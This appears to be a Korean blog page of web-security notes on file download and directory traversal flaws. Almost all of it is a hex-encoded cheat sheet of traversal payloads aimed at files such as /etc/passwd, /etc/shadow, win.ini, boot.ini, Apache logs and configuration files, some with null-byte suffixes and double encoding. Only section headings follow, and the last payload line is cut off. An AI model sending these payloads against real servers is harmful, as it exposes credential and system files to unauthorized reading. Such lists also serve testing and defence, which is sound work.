2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f736861646f77253030

2f2e2e5c2e2e5c2e2e5c2e2e5c2e2e5c2e2e5c77696e6e745c77696e2e696e69

2e2e2f2e2e2f77696e646f77732f77696e2e696e69

2e2e2f2f2e2e2f2f2e2e2f2f2e2e2f2f2e2e2f2f626f6f742e696e69

2e2e5c2e2e2f2e2e5c2e2e2f626f6f742e696e69

2e2e5c2e2e2f2e2e5c2e2e2f2e2e5c2e2e2f2e2e5c2e2e2f626f6f742e696e69

5c2e2e2e2e2e5c5c2e2e2e2e2e5c5c2e2e2e2e2e

643a5c417070536572765c4d7953514c

633a5c417070536572765c4d7953514c

633a57494e444f57532f73797374656d33322f

2f433a5c50726f6772616d2046696c6573

2f443a5c50726f6772616d2046696c6573

2f433a2f696e65747075622f667470726f6f742f

2f626f6f742f677275622f677275622e636f6e66

2f70726f632f696e7465727275707473

2f70726f632f637075696e666f

2f70726f632f6d656d696e666f

2e2e2f6170616368652f6c6f67732f6572726f722e6c6f67

2e2e2f6170616368652f6c6f67732f6163636573732e6c6f67

2e2e2f2e2e2f6170616368652f6c6f67732f6572726f722e6c6f67

2e2e2f2e2e2f6170616368652f6c6f67732f6163636573732e6c6f67

2e2e2f2e2e2f2e2e2f6170616368652f6c6f67732f6572726f722e6c6f67

2e2e2f2e2e2f2e2e2f6170616368652f6c6f67732f6163636573732e6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f61636365735f6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f61636365732e6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f6572726f725f6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f6572726f722e6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6163636573735f6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6163636573732e6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6163636573735f206c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6163636573732e206c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6163636573735f6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6163636573735f6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6163636573732e6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6163636573732e6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6163636573735f6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6163636573732e6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6572726f725f6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6572726f722e6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6572726f725f6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6572726f722e6c206f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6572726f725f6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6572726f725f6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6572726f722e6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6572726f722e6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6572726f725f6c6f67

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6572726f722e6c6f67

2f6574632f696e69742e642f617061636865

2f6574632f696e69742e642f61706163686532

2f6574632f68747470642f68747470642e636f6e66

2f6574632f6170616368652f6170616368652e636f6e66

2f6574632f6170616368652f68747470642e636f6e66

2f6574632f617061636865322f617061636865322e636f6e66

2f6574632f617061636865322f68747470642e636f6e66

2f7573722f6c6f63616c2f617061636865322f636f6e662f68747470642e636f6e66

2f7573722f6c6f63616c2f6170616368652f636f6e662f68747470642e636f6e66

2f6f70742f6170616368652f636f6e662f68747470642e636f6e66

2f686f6d652f6170616368652f68747470642e636f6e66

2f686f6d652f6170616368652f636f6e662f68747470642e636f6e66

2f6574632f617061636865322f73697465732d617661696c61626c652f64656661756c74

2f6574632f617061636865322f76686f7374732e642f64656661756c745f76686f73742e696e636c756465

2f6574632f706173737764

2f6574632f736861646f77

2f6574632f67726f7570

2f6574632f73656375726974792f67726f7570

2f6574632f73656375726974792f706173737764

2f6574632f73656375726974792f75736572

2f6574632f73656375726974792f656e7669726f6e

2f6574632f73656375726974792f6c696d697473

2f7573722f6c69622f73656375726974792f6d6b757365722e64656661756c74

32663664363137333734363537323265373036313733373337373634

3635373436333266373036313733373337373634

3635373436333266373336383631363436663737323533303330

32663635373436333266373036313733373337373634

32663635373436333266373036313733373337373634323533303330

3265326532663635373436333266373036313733373337373634

3265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634

3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330

32653265326632653265326632653265326632653265326632653265326632653265326632653265326632653

'Web 필기' 카테고리의 다른 글

Linux WIldCard (0)	2023.03.18
OS Injection (0)	2023.03.18

File Download Vulnerability란?

상대 경로와 절대 경로

취약점이 발생하는 원리는 무엇인가?

File Download Vulnerability 보안조치

Directory Traversal

취약점이 발생하는 원리는 무엇인가?

Directory Traversal 보안조치

Directory Listing 이란

취약한 소스코드 형태

그 외

디렉토리 접근공격에 사용할 수 있는 cheet sheet

'Web 필기' 카테고리의 다른 글

검색 태그

티스토리툴바